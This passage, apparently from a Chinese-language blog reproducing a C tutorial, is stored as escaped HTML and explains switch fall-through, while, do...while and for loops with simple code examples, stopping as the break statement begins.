class=\"number\"\u003e1\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;True\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Illegal\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,根据变量\u003ccode\u003egrade\u003c/code\u003e不同的值,会执行不同的\u003ccode\u003ecase\u003c/code\u003e分支。如果等于\u003ccode\u003e0\u003c/code\u003e,执行\u003ccode\u003ecase 0\u003c/code\u003e的部分;如果等于\u003ccode\u003e1\u003c/code\u003e,执行\u003ccode\u003ecase 1\u003c/code\u003e的部分;否则,执行\u003ccode\u003edefault\u003c/code\u003e的部分。\u003ccode\u003edefault\u003c/code\u003e表示处理以上所有\u003ccode\u003ecase\u003c/code\u003e都不匹配的情况。\u003c/p\u003e\u003cp\u003e每个\u003ccode\u003ecase\u003c/code\u003e语句体的结尾,都应该有一个\u003ccode\u003ebreak\u003c/code\u003e语句,作用是跳出整个\u003ccode\u003eswitch\u003c/code\u003e结构,不再往下执行。如果缺少\u003ccode\u003ebreak\u003c/code\u003e,就会导致继续执行下一个\u003ccode\u003ecase\u003c/code\u003e或\u003ccode\u003edefault\u003c/code\u003e分支。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (grade) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;False\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;True\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Illegal\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ecase 0\u003c/code\u003e的部分没有\u003ccode\u003ebreak\u003c/code\u003e语句,导致这个分支执行完以后,不会跳出\u003ccode\u003eswitch\u003c/code\u003e结构,继续执行\u003ccode\u003ecase 1\u003c/code\u003e分支。\u003c/p\u003e\u003cp\u003e利用这个特点,如果多个\u003ccode\u003ecase\u003c/code\u003e分支对应同样的语句体,可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (grade) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;True\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Illegal\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ecase 0\u003c/code\u003e分支没有任何语句,导致\u003ccode\u003ecase 0\u003c/code\u003e和\u003ccode\u003ecase 1\u003c/code\u003e都会执行同样的语句体。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ecase\u003c/code\u003e后面的语句体,不用放在大括号里面,这也是为什么需要\u003ccode\u003ebreak\u003c/code\u003e的原因。\u003c/p\u003e\u003cp\u003e\u003ccode\u003edefault\u003c/code\u003e分支用来处理前面的 case 都不匹配的情况,最好放在所有 case 的后面,这样就不用写\u003ccode\u003ebreak\u003c/code\u003e语句。这个分支是可选的,如果没有该分支,遇到所有的 case 都不匹配的情况,就会直接跳出整个 switch 代码块。\u003c/p\u003e\u003ch3 id=\"while-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#while-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"while 语句\"\u003e\u003c/a\u003ewhile 语句\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ewhile\u003c/code\u003e语句用于循环结构,满足条件时,不断执行循环体。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (expression)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,如果表达式\u003ccode\u003eexpression\u003c/code\u003e为非零值(表示真),就会执行\u003ccode\u003estatement\u003c/code\u003e语句,然后再次判断\u003ccode\u003eexpression\u003c/code\u003e是否为零;如果\u003ccode\u003eexpression\u003c/code\u003e为零(表示伪)就跳出循环,不再执行循环体。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (i \u0026lt; n)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i = i + \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,只要\u003ccode\u003ei\u003c/code\u003e小于\u003ccode\u003en\u003c/code\u003e,\u003ccode\u003ei\u003c/code\u003e就会不断增加2。\u003c/p\u003e\u003cp\u003e如果循环体有多个语句,就需要使用大括号将这些语句组合在一起。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (expression) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (i \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;i is now %d!\\n\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;All done!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,循环体会执行10次,每次将\u003ccode\u003ei\u003c/code\u003e增加\u003ccode\u003e1\u003c/code\u003e,直到等于\u003ccode\u003e10\u003c/code\u003e才退出循环。\u003c/p\u003e\u003cp\u003e只要条件为真,\u003ccode\u003ewhile\u003c/code\u003e会产生无限循环。下面是一种常见的无限循环的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的示例虽然是无限循环,但是循环体内部可以用\u003ccode\u003ebreak\u003c/code\u003e语句跳出循环。\u003c/p\u003e\u003ch3 id=\"do…while-结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#do%E2%80%A6while-%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"do…while 结构\"\u003e\u003c/a\u003edo…while 结构\u003c/h3\u003e\u003cp\u003e\u003ccode\u003edo...while\u003c/code\u003e结构是\u003ccode\u003ewhile\u003c/code\u003e的变体,它会先执行一次循环体,然后再判断是否满足条件。如果满足的话,就继续执行循环体,否则跳出循环。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edo\u003c/span\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"title function_\"\u003ewhile\u003c/span\u003e \u003cspan class=\"params\"\u003e(expression)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,不管条件\u003ccode\u003eexpression\u003c/code\u003e是否成立,循环体\u003ccode\u003estatement\u003c/code\u003e至少会执行一次。每次\u003ccode\u003estatement\u003c/code\u003e执行完毕,就会判断一次\u003ccode\u003eexpression\u003c/code\u003e,决定是否结束循环。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edo\u003c/span\u003e --i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (i \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ei\u003c/code\u003e先减去1,再判断是否大于0。如果大于0,就继续减去1,直到\u003ccode\u003ei\u003c/code\u003e等于\u003ccode\u003e0\u003c/code\u003e为止。\u003c/p\u003e\u003cp\u003e如果循环部分有多条语句,就需要放在大括号里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edo\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;i is %d\\n\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (i \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;All done!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面例子中,变量\u003ccode\u003ei\u003c/code\u003e并不满足小于\u003ccode\u003e10\u003c/code\u003e的条件,但是循环体还是会执行一次。\u003c/p\u003e\u003ch3 id=\"for-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#for-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"for 语句\"\u003e\u003c/a\u003efor 语句\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efor\u003c/code\u003e语句是最常用的循环结构,通常用于精确控制循环次数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (initialization; continuation; action)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003efor\u003c/code\u003e语句的条件部分(即圆括号里面的部分)有三个表达式。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003einitialization\u003c/code\u003e:初始化表达式,用于初始化循环变量,只执行一次。\u003c/li\u003e\u003cli\u003e\u003ccode\u003econtinuation\u003c/code\u003e:判断表达式,只要为\u003ccode\u003etrue\u003c/code\u003e,就会不断执行循环体。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eaction\u003c/code\u003e:循环变量处理表达式,每轮循环结束后执行,使得循环变量发生变化。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e循环体部分的\u003ccode\u003estatement\u003c/code\u003e可以是一条语句,也可以是放在大括号里面的复合语句。下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e10\u003c/span\u003e; i \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;i is %d\\n\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,循环变量\u003ccode\u003ei\u003c/code\u003e在\u003ccode\u003efor\u003c/code\u003e的第一个表达式里面声明,该变量只用于本次循环。离开循环体之后,就会失效。\u003c/p\u003e\u003cp\u003e条件部分的三个表达式,每一个都可以有多个语句,语句与语句之间使用逗号分隔。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i, j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, j = \u003cspan class=\"number\"\u003e999\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e; i++, j--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d, %d\\n\u0026#34;\u003c/span\u003e, i, j);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,初始化部分有两个语句,分别对变量\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003ej\u003c/code\u003e进行赋值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efor\u003c/code\u003e的三个表达式都不是必需的,甚至可以全部省略,这会形成无限循环。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (;;) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;本行会无限循环地打印。\\n\u0026#34;\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例由于没有判断条件,就会形成无限循环。\u003c/p\u003e\u003ch3 id=\"break-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#break-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"break 语句\"\u003e\u003c/a\u003ebreak 语句\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ebreak\u003c/code\u003e语句有两种用法。一种是与\u003ccode\u003eswitch\u003c/code\u003e语句配套使用,用来中断某个分支的执行,这种用法前面已经介绍过了。另一种用法是在循环体内部跳出循环,不再进行后面的循环了。\u003c/p\u003e\u003cfigure class=\"highlight 